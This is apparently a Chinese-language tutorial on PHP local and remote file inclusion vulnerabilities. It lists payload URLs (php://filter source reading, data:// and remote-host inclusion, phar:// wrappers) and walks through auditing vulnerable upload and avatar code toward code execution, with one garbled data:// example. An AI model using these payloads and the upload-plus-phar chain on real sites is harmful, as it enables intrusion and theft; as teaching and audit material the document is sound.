include、require等先关函数,include($file)
文件包含漏洞的问题在于参数可控(路径、文件名、后缀) include($path.$filename.$ext)
包含漏洞分类:1.本地文件包含LFI
2.远程文件包含RFI(allow_url_include默认为Off)
一、本地文件包含限制后缀 *.php
伪协议 zip://&phar//
截断大法
日志&环境变量
session文件
结合phpinfo()包含临时文件
无后缀限制,包含任意文件
读取任意文件,?file=php://filter/convert.base64-encode/resource=index.php
二、远程文件包含RFIallow_url_include&&allow_url_fopen=Off
包含共享文件,file=\\192.168.1.1\share\xxx.php
利用data URIs,?file=data://text://text/plain,base64,SSBsb3ZIFBIUAo=
allow_url_fopen=On
远程代码执行?file=[http|https|ftp]://xxx/file
利用XSS执行任意代码?file=http://xxx/xss.php?xss=phpcode
远程代码执行?file=[http|https|ftp]://xxx/file.txt[?|%23]
index.php
index.php中存在以下包含代码,可以包含一个.inc结尾的文件。此时我们可以考虑使用伪协议进行绕过。
<?php /* Include */ if (isset($_GET['module'])){ include($_GET['module'].'.inc'); // phar://path/file/xx.inc }else{ ?>phar://
Phar归档最好的特点是可以方便地将多个文件组合成一个文件。因此,phar归档提供了一种方法,可以将完整的PHP应用程序分发到单个文件中,并从该文件运行它,而不需要将其提取到磁盘。此外,PHP可以像执行任何其他文件一样轻松地执行phar归档,无论是在命令行上还是在web服务器上。
lib.php
lib.php中已经对上传文件后缀做了严格的限制,但是并未对文件内容进行检测。
function is_pic( $file_name ) { $extend =explode( "." , $file_name ); $va=count( $extend )-1; if ( $extend[$va]=='jpg' || $extend[$va]=='jpeg' || $extend[$va]=='png' ) { return 1; } else return 0; }搜索php处理上传文件的代码$_FILE,找到代码位置,分析上传逻辑。
<?php include_once('../sys/config.php'); $uploaddir = '../uploads'; if (isset($_POST['submit']) && isset($_FILES['upfile'])) { if(is_pic($_FILES['upfile']['name'])){ //判断文件后缀 $avatar = $uploaddir . '/u_'. time(). '_' . $_FILES['upfile']['name']; //构造上传的文件名 u_时间戳_文件名 if (move_uploaded_file($_FILES['upfile']['tmp_name'], $avatar)) { //更新用户信息 $query = "UPDATE users SET user_avatar = '$avatar' WHERE user_id = '{$_SESSION['user_id']}'"; mysql_query($query, $conn) or die('update error!'); mysql_close($conn); //刷新缓存 $_SESSION['avatar'] = $avatar; // 将路径存储在session中,使用session进行文件读取操作,并未将文件路径输出。 header('Location: edit.php'); } else { echo 'upload error<br />'; echo '<a href="http://www.likecs.com/edit.php">返回</a>'; } }else{ echo '只能上傳 jpg png gif!<br />'; echo '<a href="http://www.likecs.com/edit.php">返回</a>'; } } else { not_find($_SERVER['PHP_SELF']); } ?>全局搜索,判断是否只是通过session读取文件,并不会输出文件路径。搜索$_SESSION['avatar']
avatar.php: <?php error_reporting(0); session_start(); header("Content-type:image/jpeg"); echo file_get_contents($_SESSION['avatar']); //LFI ?>从以上代可以看出并未对文件路径进行输出,但是使用了file_get_contents函数读取了文件的内容。也就是说,当我们通过伪协议读取一个包含了php代码的压缩文件时,其中的php代码将会被执行。
但是,如果想实现上述构想,就需要先获取到文件名中的时间戳。当我们上传图片时,响应包中将会记录上传操作的时间,我们可以将该时间转换为时间戳,该时间戳一般会和上传文件名中的时间戳相差不大。
if(is_pic($_FILES['upfile']['name'])){ $avatar = $uploaddir . '/u_'. time(). '_' . $_FILES['upfile']['name'];